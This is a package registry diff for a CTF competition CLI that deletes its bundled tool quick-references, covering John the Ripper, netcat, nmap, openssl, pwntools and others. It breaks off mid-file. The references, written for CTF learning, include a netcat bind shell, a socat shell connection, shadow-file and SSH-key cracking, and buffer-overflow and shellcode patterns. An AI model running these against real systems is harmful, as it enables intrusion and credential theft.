icoa-cli 2.19.459 → 2.19.461
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/commands/ai4ctf.js +1 -1
- package/dist/commands/ctf4ai-demo.js +1 -1
- package/dist/commands/ctf4vla.js +1 -1
- package/dist/commands/exam.js +1 -1
- package/dist/commands/learn.js +1 -1
- package/dist/commands/ref.js +1 -1
- package/dist/lib/lazy-assets.js +1 -0
- package/dist/lib/learn-curricula.js +1 -1
- package/dist/lib/learn-render.js +1 -1
- package/dist/lib/learn-replies.js +1 -1
- package/dist/lib/py-syntax.js +1 -1
- package/package.json +1 -2
- package/refs/ROPgadget.txt +0 -67
- package/refs/base64.txt +0 -63
- package/refs/bash.txt +0 -79
- package/refs/binwalk.txt +0 -43
- package/refs/bs4.txt +0 -61
- package/refs/checksec.txt +0 -57
- package/refs/curl.txt +0 -73
- package/refs/cyberchef.txt +0 -78
- package/refs/exiftool.txt +0 -50
- package/refs/ffuf.txt +0 -73
- package/refs/gcc.txt +0 -66
- package/refs/gdb.txt +0 -83
- package/refs/hashcat.txt +0 -64
- package/refs/hint.txt +0 -48
- package/refs/icoa.txt +0 -72
- package/refs/john.txt +0 -74
- package/refs/linux.txt +0 -58
- package/refs/nc.txt +0 -64
- package/refs/nmap.txt +0 -57
- package/refs/numpy.txt +0 -59
- package/refs/openssl.txt +0 -75
- package/refs/pillow.txt +0 -67
- package/refs/pwntools.txt +0 -79
- package/refs/pycrypto.txt +0 -77
- package/refs/python.txt +0 -103
- package/refs/r2.txt +0 -85
- package/refs/regex.txt +0 -73
- package/refs/requests.txt +0 -83
- package/refs/rules.txt +0 -28
- package/refs/scapy.txt +0 -80
- package/refs/sqlmap.txt +0 -69
- package/refs/steghide.txt +0 -71
- package/refs/struct.txt +0 -61
- package/refs/sympy.txt +0 -77
- package/refs/tshark.txt +0 -65
- package/refs/vim.txt +0 -74
- package/refs/volatility.txt +0 -41
- package/refs/z3.txt +0 -78
package/refs/icoa.txt
DELETED
|
@@ -1,72 +0,0 @@
|
|
|
1
|
-
ICOA CLI v2.5 — Quick Reference
|
|
2
|
-
==============================
|
|
3
|
-
|
|
4
|
-
MODES (selected on first run)
|
|
5
|
-
National Selection Lightweight exam-only mode
|
|
6
|
-
International Olympiad Full CTF competition mode
|
|
7
|
-
Organizer Partner management mode
|
|
8
|
-
setup → Switch Mode Change mode anytime
|
|
9
|
-
|
|
10
|
-
GETTING STARTED
|
|
11
|
-
join <url> Connect to server
|
|
12
|
-
activate <token> Unlock (Olympiad mode only)
|
|
13
|
-
env Check tool environment (Olympiad only)
|
|
14
|
-
help Show all commands
|
|
15
|
-
|
|
16
|
-
COMPETITION
|
|
17
|
-
challenges (ch) List all challenges
|
|
18
|
-
open <id> View challenge details
|
|
19
|
-
submit <id> <flag> Submit a flag
|
|
20
|
-
scoreboard (sb) View rankings
|
|
21
|
-
status Hint budget, score, rank, time
|
|
22
|
-
time Competition countdown
|
|
23
|
-
|
|
24
|
-
EXAM (National Selection)
|
|
25
|
-
exam list Available exams for your country
|
|
26
|
-
exam start <id> Begin exam (starts timer)
|
|
27
|
-
exam q [n] View question n (or all)
|
|
28
|
-
exam answer <n> <A-D> Answer question n
|
|
29
|
-
exam review Review all answers
|
|
30
|
-
exam submit Submit for grading
|
|
31
|
-
exam result View your score
|
|
32
|
-
|
|
33
|
-
AI HINTS
|
|
34
|
-
hint <question> Level A — General guidance (50 uses)
|
|
35
|
-
hint-b <question> Level B — Deep analysis (10 uses)
|
|
36
|
-
hint-c <question> Level C — Critical assist (2 uses)
|
|
37
|
-
hint budget Show remaining budget
|
|
38
|
-
|
|
39
|
-
TOOLS
|
|
40
|
-
ref <topic> Quick reference (38 topics)
|
|
41
|
-
files <id> Download challenge files
|
|
42
|
-
connect <id> Connect to remote target
|
|
43
|
-
note <text> Personal notepad
|
|
44
|
-
log Session history
|
|
45
|
-
log stats Session statistics
|
|
46
|
-
log export Export audit trail (JSON)
|
|
47
|
-
|
|
48
|
-
SYSTEM COMMANDS
|
|
49
|
-
python solve.py Run Python (forced to 3.12.13)
|
|
50
|
-
nano solve.py Edit files
|
|
51
|
-
gcc -o pwn pwn.c Compile code
|
|
52
|
-
Any Linux command Runs in ~/icoa-workspace/
|
|
53
|
-
|
|
54
|
-
SETTINGS
|
|
55
|
-
setup Configure API keys
|
|
56
|
-
lang <code> Switch language (en/zh/ja/ko/es)
|
|
57
|
-
clear Clear screen
|
|
58
|
-
exit Save session & quit
|
|
59
|
-
|
|
60
|
-
SHORTCUTS
|
|
61
|
-
ch = challenges
|
|
62
|
-
sb = scoreboard
|
|
63
|
-
flag = submit
|
|
64
|
-
|
|
65
|
-
TIPS
|
|
66
|
-
- Use 'open <id>' before 'hint' to set challenge context
|
|
67
|
-
- Level A hints are cheap — use freely for direction
|
|
68
|
-
- Level C hints require confirmation — use wisely
|
|
69
|
-
- All commands are logged for audit
|
|
70
|
-
- python/python3 always uses Python 3.12.13
|
|
71
|
-
- System commands run in ~/icoa-workspace/ (sandboxed)
|
|
72
|
-
- Use 'ref <topic>' for zero-cost tool references
|
package/refs/john.txt
DELETED
|
@@ -1,74 +0,0 @@
|
|
|
1
|
-
John the Ripper Quick Reference
|
|
2
|
-
================================
|
|
3
|
-
|
|
4
|
-
BASIC USAGE
|
|
5
|
-
john hash.txt Auto-detect and crack
|
|
6
|
-
john --wordlist=words.txt hash.txt Dictionary attack
|
|
7
|
-
john --show hash.txt Show cracked passwords
|
|
8
|
-
|
|
9
|
-
HASH FORMATS
|
|
10
|
-
john --format=raw-md5 hash.txt
|
|
11
|
-
john --format=raw-sha256 hash.txt
|
|
12
|
-
john --format=raw-sha512 hash.txt
|
|
13
|
-
john --format=bcrypt hash.txt
|
|
14
|
-
john --format=NT hash.txt NTLM
|
|
15
|
-
john --format=sha512crypt hash.txt Linux shadow
|
|
16
|
-
|
|
17
|
-
# List all formats
|
|
18
|
-
john --list=formats
|
|
19
|
-
|
|
20
|
-
HASH EXTRACTION
|
|
21
|
-
# Linux shadow file
|
|
22
|
-
unshadow /etc/passwd /etc/shadow > hashes.txt
|
|
23
|
-
|
|
24
|
-
# ZIP file
|
|
25
|
-
zip2john file.zip > hash.txt
|
|
26
|
-
|
|
27
|
-
# RAR file
|
|
28
|
-
rar2john file.rar > hash.txt
|
|
29
|
-
|
|
30
|
-
# PDF
|
|
31
|
-
pdf2john file.pdf > hash.txt
|
|
32
|
-
|
|
33
|
-
# SSH private key
|
|
34
|
-
ssh2john id_rsa > hash.txt
|
|
35
|
-
|
|
36
|
-
# KeePass
|
|
37
|
-
keepass2john database.kdbx > hash.txt
|
|
38
|
-
|
|
39
|
-
# Office documents
|
|
40
|
-
office2john file.docx > hash.txt
|
|
41
|
-
|
|
42
|
-
# 7z archive
|
|
43
|
-
7z2john file.7z > hash.txt
|
|
44
|
-
|
|
45
|
-
ATTACK MODES
|
|
46
|
-
# Wordlist
|
|
47
|
-
john --wordlist=/path/to/wordlist hash.txt
|
|
48
|
-
|
|
49
|
-
# Wordlist with rules
|
|
50
|
-
john --wordlist=words.txt --rules hash.txt
|
|
51
|
-
john --wordlist=words.txt --rules=jumbo hash.txt
|
|
52
|
-
|
|
53
|
-
# Incremental (brute force)
|
|
54
|
-
john --incremental hash.txt
|
|
55
|
-
john --incremental=digits hash.txt
|
|
56
|
-
|
|
57
|
-
# Mask
|
|
58
|
-
john --mask="?a?a?a?a?a" hash.txt
|
|
59
|
-
|
|
60
|
-
OPTIONS
|
|
61
|
-
--fork=4 Use 4 CPU cores
|
|
62
|
-
--session=name Save session
|
|
63
|
-
--restore=name Restore session
|
|
64
|
-
--pot=file Custom potfile
|
|
65
|
-
|
|
66
|
-
COMMON CTF PATTERNS
|
|
67
|
-
# Crack ZIP password
|
|
68
|
-
zip2john secret.zip > zip_hash.txt
|
|
69
|
-
john --wordlist=rockyou.txt zip_hash.txt
|
|
70
|
-
john --show zip_hash.txt
|
|
71
|
-
|
|
72
|
-
# Crack SSH key
|
|
73
|
-
ssh2john id_rsa > ssh_hash.txt
|
|
74
|
-
john --wordlist=rockyou.txt ssh_hash.txt
|
package/refs/linux.txt
DELETED
|
@@ -1,58 +0,0 @@
|
|
|
1
|
-
Linux Commands Quick Reference
|
|
2
|
-
==============================
|
|
3
|
-
|
|
4
|
-
FILE OPERATIONS
|
|
5
|
-
ls -la List files with details
|
|
6
|
-
cat file Display file contents
|
|
7
|
-
head -n 20 file First 20 lines
|
|
8
|
-
tail -n 20 file Last 20 lines
|
|
9
|
-
less file Page through file
|
|
10
|
-
find . -name "*.txt" Find files by name
|
|
11
|
-
grep -r "pattern" . Search file contents recursively
|
|
12
|
-
cp src dest Copy file
|
|
13
|
-
mv src dest Move/rename file
|
|
14
|
-
rm file Delete file
|
|
15
|
-
chmod +x file Make file executable
|
|
16
|
-
file filename Determine file type
|
|
17
|
-
|
|
18
|
-
TEXT PROCESSING
|
|
19
|
-
grep "pattern" file Search for pattern
|
|
20
|
-
grep -i "pat" file Case-insensitive search
|
|
21
|
-
sed 's/old/new/g' f Replace text
|
|
22
|
-
awk '{print $1}' f Print first column
|
|
23
|
-
sort file Sort lines
|
|
24
|
-
uniq file Remove duplicate lines
|
|
25
|
-
wc -l file Count lines
|
|
26
|
-
cut -d: -f1 file Cut fields by delimiter
|
|
27
|
-
tr 'a-z' 'A-Z' Translate characters
|
|
28
|
-
xxd file Hex dump
|
|
29
|
-
xxd -r hex.txt bin Reverse hex dump
|
|
30
|
-
|
|
31
|
-
SYSTEM
|
|
32
|
-
ps aux List processes
|
|
33
|
-
kill PID Kill process
|
|
34
|
-
uname -a System info
|
|
35
|
-
df -h Disk usage
|
|
36
|
-
free -m Memory usage
|
|
37
|
-
which command Find command location
|
|
38
|
-
env Show environment variables
|
|
39
|
-
|
|
40
|
-
NETWORKING
|
|
41
|
-
curl URL HTTP request
|
|
42
|
-
wget URL Download file
|
|
43
|
-
ping host Test connectivity
|
|
44
|
-
ss -tlnp Show listening ports
|
|
45
|
-
ip addr Show IP addresses
|
|
46
|
-
dig domain DNS lookup
|
|
47
|
-
|
|
48
|
-
PERMISSIONS
|
|
49
|
-
chmod 755 file rwxr-xr-x
|
|
50
|
-
chmod 644 file rw-r--r--
|
|
51
|
-
chown user:group file Change ownership
|
|
52
|
-
|
|
53
|
-
REDIRECTION
|
|
54
|
-
cmd > file Redirect stdout to file
|
|
55
|
-
cmd >> file Append stdout to file
|
|
56
|
-
cmd 2> file Redirect stderr
|
|
57
|
-
cmd1 | cmd2 Pipe output
|
|
58
|
-
cmd < file Redirect stdin from file
|
package/refs/nc.txt
DELETED
|
@@ -1,64 +0,0 @@
|
|
|
1
|
-
Netcat (nc) Quick Reference
|
|
2
|
-
===========================
|
|
3
|
-
|
|
4
|
-
BASIC CONNECTION
|
|
5
|
-
nc host port Connect to host:port
|
|
6
|
-
nc -v host port Verbose connection
|
|
7
|
-
nc -nv host port No DNS, verbose
|
|
8
|
-
|
|
9
|
-
LISTENING
|
|
10
|
-
nc -lp port Listen on port
|
|
11
|
-
nc -lvp port Listen verbose
|
|
12
|
-
nc -lp port -e /bin/bash Bind shell (dangerous)
|
|
13
|
-
|
|
14
|
-
DATA TRANSFER
|
|
15
|
-
# Send file
|
|
16
|
-
nc -lp 4444 > received.txt (receiver)
|
|
17
|
-
nc host 4444 < send.txt (sender)
|
|
18
|
-
|
|
19
|
-
# Pipe command output
|
|
20
|
-
echo "data" | nc host port
|
|
21
|
-
cat file | nc host port
|
|
22
|
-
|
|
23
|
-
SCANNING
|
|
24
|
-
nc -zv host 1-1000 Port scan
|
|
25
|
-
nc -zvw1 host 80 Single port check (-w1 = 1s timeout)
|
|
26
|
-
|
|
27
|
-
OPTIONS
|
|
28
|
-
-l Listen mode
|
|
29
|
-
-p port Specify port
|
|
30
|
-
-v Verbose
|
|
31
|
-
-n No DNS resolution
|
|
32
|
-
-w seconds Timeout
|
|
33
|
-
-z Zero I/O (scan mode)
|
|
34
|
-
-u UDP mode
|
|
35
|
-
-e prog Execute program on connect
|
|
36
|
-
-k Keep listening after disconnect
|
|
37
|
-
|
|
38
|
-
NCAT (enhanced netcat)
|
|
39
|
-
ncat --ssl host port SSL/TLS connection
|
|
40
|
-
ncat -lp port --ssl SSL listener
|
|
41
|
-
ncat --proxy proxyhost:port host port Via proxy
|
|
42
|
-
|
|
43
|
-
SOCAT (advanced)
|
|
44
|
-
socat TCP:host:port - Basic connect
|
|
45
|
-
socat TCP-LISTEN:port - Basic listen
|
|
46
|
-
socat TCP:host:port EXEC:/bin/bash Connect shell
|
|
47
|
-
socat OPENSSL:host:443 - SSL connect
|
|
48
|
-
|
|
49
|
-
COMMON CTF PATTERNS
|
|
50
|
-
# Connect to challenge
|
|
51
|
-
nc challenge.ctf.com 1337
|
|
52
|
-
|
|
53
|
-
# Send payload
|
|
54
|
-
python3 -c "print('A'*100)" | nc host port
|
|
55
|
-
|
|
56
|
-
# Interactive + send file
|
|
57
|
-
(cat payload; cat -) | nc host port
|
|
58
|
-
|
|
59
|
-
# Receive then interact
|
|
60
|
-
nc host port
|
|
61
|
-
# type commands interactively
|
|
62
|
-
|
|
63
|
-
# Redirect to file for analysis
|
|
64
|
-
nc host port | tee output.txt
|
package/refs/nmap.txt
DELETED
|
@@ -1,57 +0,0 @@
|
|
|
1
|
-
Nmap Quick Reference
|
|
2
|
-
====================
|
|
3
|
-
|
|
4
|
-
BASIC SCANS
|
|
5
|
-
nmap target Default scan (top 1000 ports)
|
|
6
|
-
nmap -p 80,443 target Specific ports
|
|
7
|
-
nmap -p 1-65535 target All ports
|
|
8
|
-
nmap -p- target All ports (shorthand)
|
|
9
|
-
nmap -F target Fast scan (top 100)
|
|
10
|
-
|
|
11
|
-
SCAN TYPES
|
|
12
|
-
nmap -sT target TCP connect scan
|
|
13
|
-
nmap -sS target SYN scan (stealth, needs root)
|
|
14
|
-
nmap -sU target UDP scan
|
|
15
|
-
nmap -sV target Version detection
|
|
16
|
-
nmap -sC target Default scripts
|
|
17
|
-
nmap -A target Aggressive (OS + version + scripts)
|
|
18
|
-
nmap -O target OS detection
|
|
19
|
-
|
|
20
|
-
SERVICE / VERSION
|
|
21
|
-
nmap -sV target Detect service versions
|
|
22
|
-
nmap -sV --version-intensity 5 target More aggressive
|
|
23
|
-
|
|
24
|
-
SCRIPTS
|
|
25
|
-
nmap --script=default target Default scripts
|
|
26
|
-
nmap --script=vuln target Vulnerability scripts
|
|
27
|
-
nmap --script=http-enum target HTTP enumeration
|
|
28
|
-
nmap --script=smb-vuln* target SMB vulnerabilities
|
|
29
|
-
|
|
30
|
-
OUTPUT
|
|
31
|
-
nmap -oN output.txt target Normal output
|
|
32
|
-
nmap -oX output.xml target XML output
|
|
33
|
-
nmap -oG output.gnmap target Grepable output
|
|
34
|
-
nmap -oA basename target All formats
|
|
35
|
-
|
|
36
|
-
HOST DISCOVERY
|
|
37
|
-
nmap -sn 10.0.0.0/24 Ping sweep (no port scan)
|
|
38
|
-
nmap -Pn target Skip host discovery
|
|
39
|
-
|
|
40
|
-
TIMING
|
|
41
|
-
nmap -T0 target Paranoid (slowest)
|
|
42
|
-
nmap -T3 target Normal (default)
|
|
43
|
-
nmap -T4 target Aggressive
|
|
44
|
-
nmap -T5 target Insane (fastest)
|
|
45
|
-
|
|
46
|
-
COMMON CTF COMBOS
|
|
47
|
-
# Full enumeration
|
|
48
|
-
nmap -sC -sV -p- target
|
|
49
|
-
|
|
50
|
-
# Quick overview
|
|
51
|
-
nmap -sV -F target
|
|
52
|
-
|
|
53
|
-
# UDP + TCP
|
|
54
|
-
nmap -sS -sU -p 1-1000 target
|
|
55
|
-
|
|
56
|
-
# Script scan for HTTP
|
|
57
|
-
nmap --script=http-* -p 80,443,8080 target
|
package/refs/numpy.txt
DELETED
|
@@ -1,59 +0,0 @@
|
|
|
1
|
-
NumPy Quick Reference
|
|
2
|
-
=====================
|
|
3
|
-
|
|
4
|
-
IMPORT
|
|
5
|
-
import numpy as np
|
|
6
|
-
|
|
7
|
-
ARRAY CREATION
|
|
8
|
-
np.array([1, 2, 3]) From list
|
|
9
|
-
np.zeros((3, 4)) 3x4 zeros
|
|
10
|
-
np.ones((3, 4)) 3x4 ones
|
|
11
|
-
np.arange(0, 10, 2) [0, 2, 4, 6, 8]
|
|
12
|
-
np.linspace(0, 1, 5) 5 evenly spaced [0,1]
|
|
13
|
-
np.eye(3) 3x3 identity matrix
|
|
14
|
-
np.random.randint(0, 256, 100) Random integers
|
|
15
|
-
np.frombuffer(data, dtype=np.uint8) From bytes
|
|
16
|
-
|
|
17
|
-
ARRAY INFO
|
|
18
|
-
a.shape Dimensions
|
|
19
|
-
a.dtype Data type
|
|
20
|
-
a.size Total elements
|
|
21
|
-
a.ndim Number of dimensions
|
|
22
|
-
|
|
23
|
-
OPERATIONS
|
|
24
|
-
a + b Element-wise add
|
|
25
|
-
a * b Element-wise multiply
|
|
26
|
-
a @ b / np.dot(a, b) Matrix multiply
|
|
27
|
-
a.T Transpose
|
|
28
|
-
np.linalg.inv(a) Inverse
|
|
29
|
-
np.linalg.det(a) Determinant
|
|
30
|
-
np.linalg.solve(A, b) Solve Ax = b
|
|
31
|
-
|
|
32
|
-
TYPE CONVERSION
|
|
33
|
-
a.astype(np.uint8) Convert type
|
|
34
|
-
a.tobytes() Array → bytes
|
|
35
|
-
np.frombuffer(b, np.uint8) Bytes → array
|
|
36
|
-
|
|
37
|
-
INDEXING
|
|
38
|
-
a[0] First element
|
|
39
|
-
a[-1] Last element
|
|
40
|
-
a[1:5] Slice
|
|
41
|
-
a[a > 5] Boolean indexing
|
|
42
|
-
a.reshape(3, 4) Reshape
|
|
43
|
-
|
|
44
|
-
USEFUL FOR CTF
|
|
45
|
-
# XOR arrays
|
|
46
|
-
result = np.bitwise_xor(a, b)
|
|
47
|
-
|
|
48
|
-
# Byte frequency analysis
|
|
49
|
-
data = np.frombuffer(file_bytes, dtype=np.uint8)
|
|
50
|
-
unique, counts = np.unique(data, return_counts=True)
|
|
51
|
-
|
|
52
|
-
# Image as array
|
|
53
|
-
from PIL import Image
|
|
54
|
-
img_array = np.array(Image.open("img.png"))
|
|
55
|
-
# img_array.shape → (height, width, channels)
|
|
56
|
-
|
|
57
|
-
# Matrix operations for crypto
|
|
58
|
-
M = np.array([[1,2],[3,4]], dtype=np.int64)
|
|
59
|
-
result = np.linalg.matrix_power(M, n)
|
package/refs/openssl.txt
DELETED
|
@@ -1,75 +0,0 @@
|
|
|
1
|
-
OpenSSL Quick Reference
|
|
2
|
-
=======================
|
|
3
|
-
|
|
4
|
-
HASHING
|
|
5
|
-
echo -n "text" | openssl md5
|
|
6
|
-
echo -n "text" | openssl sha1
|
|
7
|
-
echo -n "text" | openssl sha256
|
|
8
|
-
openssl dgst -sha256 file Hash a file
|
|
9
|
-
|
|
10
|
-
ENCODING / DECODING
|
|
11
|
-
echo -n "text" | openssl base64 Encode base64
|
|
12
|
-
echo "dGV4dA==" | openssl base64 -d Decode base64
|
|
13
|
-
echo -n "text" | openssl enc -base64 Same as above
|
|
14
|
-
xxd -p file Hex encode
|
|
15
|
-
|
|
16
|
-
SYMMETRIC ENCRYPTION
|
|
17
|
-
# AES-256-CBC encrypt
|
|
18
|
-
openssl enc -aes-256-cbc -salt -in plain.txt -out enc.bin -k password
|
|
19
|
-
|
|
20
|
-
# AES-256-CBC decrypt
|
|
21
|
-
openssl enc -aes-256-cbc -d -in enc.bin -out plain.txt -k password
|
|
22
|
-
|
|
23
|
-
# Specify IV and key directly
|
|
24
|
-
openssl enc -aes-128-cbc -d -in enc.bin \
|
|
25
|
-
-K 000102030405060708090a0b0c0d0e0f \
|
|
26
|
-
-iv 00112233445566778899aabbccddeeff
|
|
27
|
-
|
|
28
|
-
RSA KEY OPERATIONS
|
|
29
|
-
# Generate RSA key
|
|
30
|
-
openssl genrsa -out private.pem 2048
|
|
31
|
-
|
|
32
|
-
# Extract public key
|
|
33
|
-
openssl rsa -in private.pem -pubout -out public.pem
|
|
34
|
-
|
|
35
|
-
# View key details
|
|
36
|
-
openssl rsa -in private.pem -text -noout
|
|
37
|
-
|
|
38
|
-
# View public key details
|
|
39
|
-
openssl rsa -pubin -in public.pem -text -noout
|
|
40
|
-
|
|
41
|
-
# Encrypt with public key
|
|
42
|
-
openssl rsautl -encrypt -pubin -inkey pub.pem -in plain.txt -out enc.bin
|
|
43
|
-
|
|
44
|
-
# Decrypt with private key
|
|
45
|
-
openssl rsautl -decrypt -inkey priv.pem -in enc.bin -out plain.txt
|
|
46
|
-
|
|
47
|
-
CERTIFICATES
|
|
48
|
-
# View certificate
|
|
49
|
-
openssl x509 -in cert.pem -text -noout
|
|
50
|
-
|
|
51
|
-
# Extract public key from cert
|
|
52
|
-
openssl x509 -in cert.pem -pubkey -noout
|
|
53
|
-
|
|
54
|
-
# Generate self-signed cert
|
|
55
|
-
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
|
|
56
|
-
|
|
57
|
-
# Check cert expiry
|
|
58
|
-
openssl x509 -in cert.pem -noout -dates
|
|
59
|
-
|
|
60
|
-
SSL / TLS
|
|
61
|
-
# Connect and show cert
|
|
62
|
-
openssl s_client -connect host:443
|
|
63
|
-
|
|
64
|
-
# Show cert chain
|
|
65
|
-
openssl s_client -showcerts -connect host:443
|
|
66
|
-
|
|
67
|
-
COMMON CTF PATTERNS
|
|
68
|
-
# Decode base64 encoded flag
|
|
69
|
-
echo "aWNvYXtmbGFnfQ==" | openssl base64 -d
|
|
70
|
-
|
|
71
|
-
# Extract RSA parameters for crypto challenge
|
|
72
|
-
openssl rsa -pubin -in pub.pem -text -noout | grep -E "Modulus|Exponent"
|
|
73
|
-
|
|
74
|
-
# Decrypt with known key
|
|
75
|
-
openssl enc -aes-128-ecb -d -in encrypted -K "$(echo -n key | xxd -p)" -nopad
|
package/refs/pillow.txt
DELETED
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
Pillow (PIL) Quick Reference
|
|
2
|
-
============================
|
|
3
|
-
|
|
4
|
-
INSTALLATION
|
|
5
|
-
pip install pillow
|
|
6
|
-
|
|
7
|
-
BASIC USAGE
|
|
8
|
-
from PIL import Image
|
|
9
|
-
|
|
10
|
-
img = Image.open("image.png")
|
|
11
|
-
img.save("output.png")
|
|
12
|
-
img.show()
|
|
13
|
-
|
|
14
|
-
IMAGE INFO
|
|
15
|
-
img.size (width, height)
|
|
16
|
-
img.mode "RGB", "RGBA", "L", "1"
|
|
17
|
-
img.format "PNG", "JPEG", etc.
|
|
18
|
-
img.info Metadata dict
|
|
19
|
-
|
|
20
|
-
PIXEL ACCESS
|
|
21
|
-
px = img.load() Get pixel access
|
|
22
|
-
px[x, y] Get pixel value
|
|
23
|
-
px[x, y] = (R, G, B) Set pixel value
|
|
24
|
-
|
|
25
|
-
# Get all pixels
|
|
26
|
-
pixels = list(img.getdata())
|
|
27
|
-
|
|
28
|
-
CONVERSIONS
|
|
29
|
-
img.convert("L") Grayscale
|
|
30
|
-
img.convert("RGB") RGB
|
|
31
|
-
img.convert("RGBA") RGBA
|
|
32
|
-
img.convert("1") Black and white
|
|
33
|
-
|
|
34
|
-
OPERATIONS
|
|
35
|
-
img.resize((w, h)) Resize
|
|
36
|
-
img.crop((l, t, r, b)) Crop (left, top, right, bottom)
|
|
37
|
-
img.rotate(90) Rotate
|
|
38
|
-
img.transpose(Image.FLIP_LEFT_RIGHT) Flip horizontal
|
|
39
|
-
|
|
40
|
-
CREATE NEW IMAGE
|
|
41
|
-
img = Image.new("RGB", (width, height), (255, 255, 255))
|
|
42
|
-
|
|
43
|
-
COMMON CTF PATTERNS
|
|
44
|
-
# LSB steganography extraction
|
|
45
|
-
img = Image.open("steg.png")
|
|
46
|
-
px = img.load()
|
|
47
|
-
bits = ""
|
|
48
|
-
for y in range(img.height):
|
|
49
|
-
for x in range(img.width):
|
|
50
|
-
r, g, b = px[x, y][:3]
|
|
51
|
-
bits += str(r & 1) # Extract LSB
|
|
52
|
-
# Convert bits to bytes
|
|
53
|
-
message = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
|
|
54
|
-
|
|
55
|
-
# Hide data in pixels
|
|
56
|
-
for i, byte in enumerate(data):
|
|
57
|
-
x, y = i % img.width, i // img.width
|
|
58
|
-
r, g, b = px[x, y][:3]
|
|
59
|
-
px[x, y] = ((r & 0xFE) | (byte >> 7 & 1), g, b)
|
|
60
|
-
|
|
61
|
-
# Visual comparison
|
|
62
|
-
from PIL import ImageChops
|
|
63
|
-
diff = ImageChops.difference(img1, img2)
|
|
64
|
-
diff.save("diff.png")
|
|
65
|
-
|
|
66
|
-
# Extract text from image regions
|
|
67
|
-
region = img.crop((10, 10, 200, 50))
|
package/refs/pwntools.txt
DELETED
|
@@ -1,79 +0,0 @@
|
|
|
1
|
-
Pwntools Quick Reference
|
|
2
|
-
========================
|
|
3
|
-
|
|
4
|
-
INSTALLATION
|
|
5
|
-
pip install pwntools
|
|
6
|
-
|
|
7
|
-
CONNECTION
|
|
8
|
-
from pwn import *
|
|
9
|
-
|
|
10
|
-
# Remote connection
|
|
11
|
-
r = remote("host", port)
|
|
12
|
-
|
|
13
|
-
# Local process
|
|
14
|
-
p = process("./binary")
|
|
15
|
-
|
|
16
|
-
# SSH
|
|
17
|
-
s = ssh("user", "host", password="pass")
|
|
18
|
-
|
|
19
|
-
SEND / RECEIVE
|
|
20
|
-
r.send(b"data") Send raw bytes
|
|
21
|
-
r.sendline(b"data") Send + newline
|
|
22
|
-
r.sendafter(b"prompt", data) Send after receiving
|
|
23
|
-
r.sendlineafter(b">", data) Sendline after prompt
|
|
24
|
-
|
|
25
|
-
r.recv(1024) Receive up to N bytes
|
|
26
|
-
r.recvline() Receive one line
|
|
27
|
-
r.recvuntil(b":") Receive until delimiter
|
|
28
|
-
r.recvall() Receive everything
|
|
29
|
-
r.interactive() Interactive mode
|
|
30
|
-
|
|
31
|
-
PACKING / UNPACKING
|
|
32
|
-
p32(0x41414141) Pack 32-bit (little-endian)
|
|
33
|
-
p64(0x41414141) Pack 64-bit
|
|
34
|
-
u32(b"\x41\x41\x41\x41") Unpack 32-bit
|
|
35
|
-
u64(data) Unpack 64-bit
|
|
36
|
-
p32(addr, endian='big') Big-endian pack
|
|
37
|
-
|
|
38
|
-
ELF ANALYSIS
|
|
39
|
-
e = ELF("./binary")
|
|
40
|
-
e.symbols["main"] Function address
|
|
41
|
-
e.got["puts"] GOT entry
|
|
42
|
-
e.plt["puts"] PLT entry
|
|
43
|
-
e.search(b"/bin/sh") Search for bytes
|
|
44
|
-
e.address Base address
|
|
45
|
-
|
|
46
|
-
ROP
|
|
47
|
-
rop = ROP(e)
|
|
48
|
-
rop.call("puts", [got_puts]) Call function
|
|
49
|
-
rop.raw(gadget_addr) Raw gadget
|
|
50
|
-
rop.chain() Build chain
|
|
51
|
-
rop.find_gadget(["pop rdi"]) Find gadget
|
|
52
|
-
|
|
53
|
-
SHELLCODE
|
|
54
|
-
shellcraft.sh() /bin/sh shellcode
|
|
55
|
-
shellcraft.cat("flag.txt") cat file
|
|
56
|
-
asm(shellcraft.sh()) Assemble shellcode
|
|
57
|
-
|
|
58
|
-
CRYPTO
|
|
59
|
-
xor(data, key) XOR data with key
|
|
60
|
-
xor_key(plain, cipher) Find XOR key
|
|
61
|
-
|
|
62
|
-
CONTEXT
|
|
63
|
-
context.arch = "amd64" Set architecture
|
|
64
|
-
context.os = "linux" Set OS
|
|
65
|
-
context.log_level = "debug" Debug output
|
|
66
|
-
context.terminal = ["tmux", "splitw", "-h"]
|
|
67
|
-
|
|
68
|
-
FORMAT STRING
|
|
69
|
-
fmtstr_payload(offset, {addr: value})
|
|
70
|
-
|
|
71
|
-
COMMON PATTERNS
|
|
72
|
-
# Buffer overflow
|
|
73
|
-
payload = b"A" * offset
|
|
74
|
-
payload += p64(ret_addr)
|
|
75
|
-
r.sendline(payload)
|
|
76
|
-
|
|
77
|
-
# Leak address
|
|
78
|
-
r.recvuntil(b"output: ")
|
|
79
|
-
leak = u64(r.recv(6).ljust(8, b"\x00"))
|
package/refs/pycrypto.txt
DELETED
|
@@ -1,77 +0,0 @@
|
|
|
1
|
-
PyCryptodome Quick Reference
|
|
2
|
-
============================
|
|
3
|
-
|
|
4
|
-
INSTALLATION
|
|
5
|
-
pip install pycryptodome
|
|
6
|
-
|
|
7
|
-
AES
|
|
8
|
-
from Crypto.Cipher import AES
|
|
9
|
-
from Crypto.Util.Padding import pad, unpad
|
|
10
|
-
|
|
11
|
-
# AES-ECB
|
|
12
|
-
cipher = AES.new(key, AES.MODE_ECB)
|
|
13
|
-
ct = cipher.encrypt(pad(data, 16))
|
|
14
|
-
pt = unpad(cipher.decrypt(ct), 16)
|
|
15
|
-
|
|
16
|
-
# AES-CBC
|
|
17
|
-
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
|
|
18
|
-
ct = cipher.encrypt(pad(data, 16))
|
|
19
|
-
cipher2 = AES.new(key, AES.MODE_CBC, iv=iv)
|
|
20
|
-
pt = unpad(cipher2.decrypt(ct), 16)
|
|
21
|
-
|
|
22
|
-
# AES-CTR
|
|
23
|
-
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
|
|
24
|
-
ct = cipher.encrypt(data) # no padding needed
|
|
25
|
-
|
|
26
|
-
# AES-GCM
|
|
27
|
-
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
|
|
28
|
-
ct, tag = cipher.encrypt_and_digest(data)
|
|
29
|
-
|
|
30
|
-
RSA
|
|
31
|
-
from Crypto.PublicKey import RSA
|
|
32
|
-
